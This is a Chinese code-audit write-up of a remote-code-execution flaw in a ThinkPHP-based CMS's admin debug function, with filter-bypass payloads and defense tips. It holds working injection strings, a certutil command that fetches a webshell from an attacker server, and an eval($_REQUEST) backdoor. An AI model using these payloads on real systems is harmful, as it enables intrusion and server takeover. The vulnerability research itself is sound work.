某cms代码审计RCE&艰难bypass(思路清奇)
字数 1081 2025-08-05 00:15:08
某CMS代码审计:RCE漏洞发现与绕过技巧分析
0x01 漏洞概述
本文分析了一个基于ThinkPHP 5.0.24框架的CMS系统中的远程代码执行(RCE)漏洞。该漏洞位于后台API的debug功能中,通过精心构造的输入可以绕过过滤机制,最终实现命令执行和getshell。
0x02 环境准备
- 测试环境:PHPStudy一键搭建
- 审计工具:
- Notepad++(代码查看)
- Seay源代码审计工具(初步扫描)
- PHPStorm(推荐用于完整审计流程)
0x03 漏洞定位
漏洞文件路径
/app/admin/controller/api.php中的debug函数
关键漏洞代码
public function debug()
{
$path = 'app/extra/debug.php';
$file = include $path;
$config = array(
'name' => input('id'),
);
$config = preg_replace("/[?><?]/", '', $config);
$res = array_merge($file, $config);
$str = '<?php return [';
foreach ($res as $key => $value) {
$str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';
}
$str .= ']; ';
if (file_put_contents($path, $str)) {
return json(array('code' => 1, 'msg' => '操作成功'));
} else {
return json(array('code' => 0, 'msg' => '操作失败'));
}
}
漏洞触发点
- 用户通过
id参数控制输入 - 输入被处理后写入
app/extra/debug.php文件 - 文件内容会被include执行
0x04 漏洞分析
过滤机制
$config = preg_replace("/[?><?]/", '', $config);
过滤了<、>、?和>字符(实际是?、>、<、?的重复匹配)
文件写入逻辑
- 读取现有debug.php文件内容
- 合并用户输入的配置
- 生成新的PHP数组定义字符串
- 写入文件
0x05 绕过技巧
第一次尝试:直接闭合执行
Payload:
123'];phpinfo();//
结果:
- 成功写入文件:
<?php return ['name'=>'123'];phpinfo();//',]; - 但
return后的代码不会执行
第二次尝试:在数组中执行代码
Payload:
123',eval($_REQUEST[1]);''
结果:
- 语法错误,无法执行
第三次尝试:命令执行
Payload:
123'].`ping 123.yh6nta.dnslog.cn`;//
结果:
- DNS查询成功,证明命令执行
- 但页面报错(类型不匹配)
优化方案:使用&连接
Payload:
123']&`ping 123.yh6nta.dnslog.cn`;//
URL编码:
123%27%5D%26%60ping%20123.yh6nta.dnslog.cn%60%3B%2F%2F
结果:
- 无报错且命令成功执行
0x06 深入利用
Windows系统getshell方法
- 准备包含一句话木马的shell文件
- 使用certutil下载文件:
Payload:
']&`certutil -urlcache -split -f http://vps/shell 1.php`;//
URL编码:
%27%5D%26%60certutil%20-urlcache%20-split%20-f%20http%3A%2F%2Fvps%2Fshell%201.php%60%3B%2F%2F
直接代码执行
Payload:
123']&&eval($_REQUEST[1]);//
URL编码:
123%27%5D%26%26eval(%24_REQUEST%5B1%5D)%3B%2F%2F
结果文件:
<?php return ['name'=>'123']&&eval($_REQUEST[1]);//',];
效果:
- 成功执行任意PHP代码
0x07 防御建议
- 严格过滤用户输入,特别是特殊字符
- 避免将用户输入直接拼接到PHP代码中
- 对文件写入操作进行权限控制
- 使用白名单验证输入内容
- 升级ThinkPHP框架到最新安全版本
0x08 总结
本案例展示了:
- 如何通过代码审计发现RCE漏洞
- 绕过简单过滤的技巧
- 无回显情况下的利用方法
- Windows/Linux系统下的getshell方式
关键点在于理解PHP语法特性和灵活运用命令拼接技巧,这对代码审计和安全研究有重要参考价值。